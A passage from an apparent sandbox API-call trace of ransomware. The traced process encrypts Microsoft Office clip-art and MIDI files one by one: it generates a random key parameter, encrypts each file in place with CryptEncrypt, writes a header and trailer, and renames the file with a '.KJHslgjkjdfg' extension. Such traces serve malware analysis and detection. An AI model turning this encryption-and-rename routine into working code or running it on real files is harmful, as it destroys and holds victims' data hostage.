hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0210.713] GetProcessHeap () returned 0x990000 [0210.713] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0210.714] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETSM.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketsm.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETSM.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketsm.wmf.kjhslgjkjdfg")) returned 1 [0210.715] CloseHandle (hObject=0x130) returned 1 [0210.715] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d0aad90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb12, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PSWAVY.WMF", cAlternateFileName="")) returned 1 [0210.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSWAVY.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pswavy.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0210.716] GetProcessHeap () returned 0x990000 [0210.716] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0210.716] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0210.716] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0210.716] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0210.717] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0210.717] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0210.717] GetProcessHeap () returned 0x990000 [0210.717] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0210.717] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30) returned 1 [0210.717] CryptDestroyKey (hKey=0x9b6628) returned 1 [0210.718] WriteFile (in: hFile=0x130, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df270*=0x30, lpOverlapped=0x0) returned 1 [0210.718] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0210.718] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0210.718] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0210.718] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0210.718] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0210.718] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0210.718] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0210.718] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.718] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xb12, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xb12, lpOverlapped=0x0) returned 1 [0210.718] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xb20, dwBufLen=0xb20 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xb20) returned 1 [0210.719] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.719] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xb20, lpOverlapped=0x0) returned 1 [0210.719] CryptDestroyKey (hKey=0x9b6628) returned 1 [0210.719] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xbe4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.719] SetEndOfFile (hFile=0x130) returned 1 [0210.721] GetProcessHeap () returned 0x990000 [0210.721] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0210.721] GetProcessHeap () returned 0x990000 [0210.721] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0210.721] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSWAVY.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pswavy.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSWAVY.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pswavy.wmf.kjhslgjkjdfg")) returned 1 [0210.722] CloseHandle (hObject=0x130) returned 1 [0210.722] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a829930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6ec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RE00006_.WMF", cAlternateFileName="")) returned 1 [0210.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RE00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\re00006_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0210.724] GetProcessHeap () returned 0x990000 [0210.724] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0210.724] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0210.724] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0210.724] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0210.726] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0210.726] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0210.727] GetProcessHeap () returned 0x990000 [0210.727] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0210.727] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0210.727] CryptDestroyKey (hKey=0x9b6628) returned 1 [0210.727] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0210.727] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0210.727] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0210.727] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0210.727] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0210.727] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0210.727] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0210.728] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0210.728] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.728] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x6ec, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x6ec, lpOverlapped=0x0) returned 1 [0210.728] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6f0, dwBufLen=0x6f0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6f0) returned 1 [0210.728] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.728] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x6f0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x6f0, lpOverlapped=0x0) returned 1 [0210.728] CryptDestroyKey (hKey=0x9b6628) returned 1 [0210.728] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.728] SetEndOfFile (hFile=0x130) returned 1 [0210.731] GetProcessHeap () returned 0x990000 [0210.731] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0210.731] GetProcessHeap () returned 0x990000 [0210.731] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0210.731] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RE00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\re00006_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RE00006_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\re00006_.wmf.kjhslgjkjdfg")) returned 1 [0210.733] CloseHandle (hObject=0x130) returned 1 [0210.733] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x5a84fa90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0xd16, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RECYCLE.WMF", cAlternateFileName="")) returned 1 [0210.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RECYCLE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\recycle.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0210.735] GetProcessHeap () returned 0x990000 [0210.735] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0210.735] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0210.735] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0210.735] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0210.737] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0210.737] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0210.737] GetProcessHeap () returned 0x990000 [0210.737] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0210.737] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0210.737] CryptDestroyKey (hKey=0x9b6628) returned 1 [0210.738] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0210.738] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0210.738] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0210.738] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0210.738] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0210.738] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0210.738] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0210.738] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0210.738] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.738] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xd16, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xd16, lpOverlapped=0x0) returned 1 [0210.738] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xd20, dwBufLen=0xd20 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xd20) returned 1 [0210.738] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.739] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xd20, lpOverlapped=0x0) returned 1 [0210.739] CryptDestroyKey (hKey=0x9b6628) returned 1 [0210.739] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xdf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.739] SetEndOfFile (hFile=0x130) returned 1 [0210.741] GetProcessHeap () returned 0x990000 [0210.742] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0210.742] GetProcessHeap () returned 0x990000 [0210.742] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0210.742] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RECYCLE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\recycle.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RECYCLE.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\recycle.wmf.kjhslgjkjdfg")) returned 1 [0210.744] CloseHandle (hObject=0x130) returned 1 [0210.744] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x175f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ROAD_01.MID", cAlternateFileName="")) returned 1 [0210.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0210.745] GetProcessHeap () returned 0x990000 [0210.745] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0210.745] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0210.745] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0210.745] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x1, lpOverlapped=0x0) returned 1 [0210.748] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0210.748] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0210.748] GetProcessHeap () returned 0x990000 [0210.748] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0210.748] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0210.748] CryptDestroyKey (hKey=0x9b6628) returned 1 [0210.748] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0210.748] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0210.748] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0210.748] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0210.748] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0210.748] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0210.748] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0210.749] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0210.749] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.749] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x175f, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x175f, lpOverlapped=0x0) returned 1 [0210.750] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1760, dwBufLen=0x1760 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1760) returned 1 [0210.750] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.750] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1760, lpOverlapped=0x0) returned 1 [0210.750] CryptDestroyKey (hKey=0x9b6628) returned 1 [0210.750] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.750] SetEndOfFile (hFile=0x130) returned 1 [0210.751] GetProcessHeap () returned 0x990000 [0210.751] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0210.751] GetProcessHeap () returned 0x990000 [0210.751] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0210.751] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid.kjhslgjkjdfg")) returned 1 [0210.753] CloseHandle (hObject=0x130) returned 1 [0210.753] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x278a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SAFRI_01.MID", cAlternateFileName="")) returned 1 [0210.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0210.755] GetProcessHeap 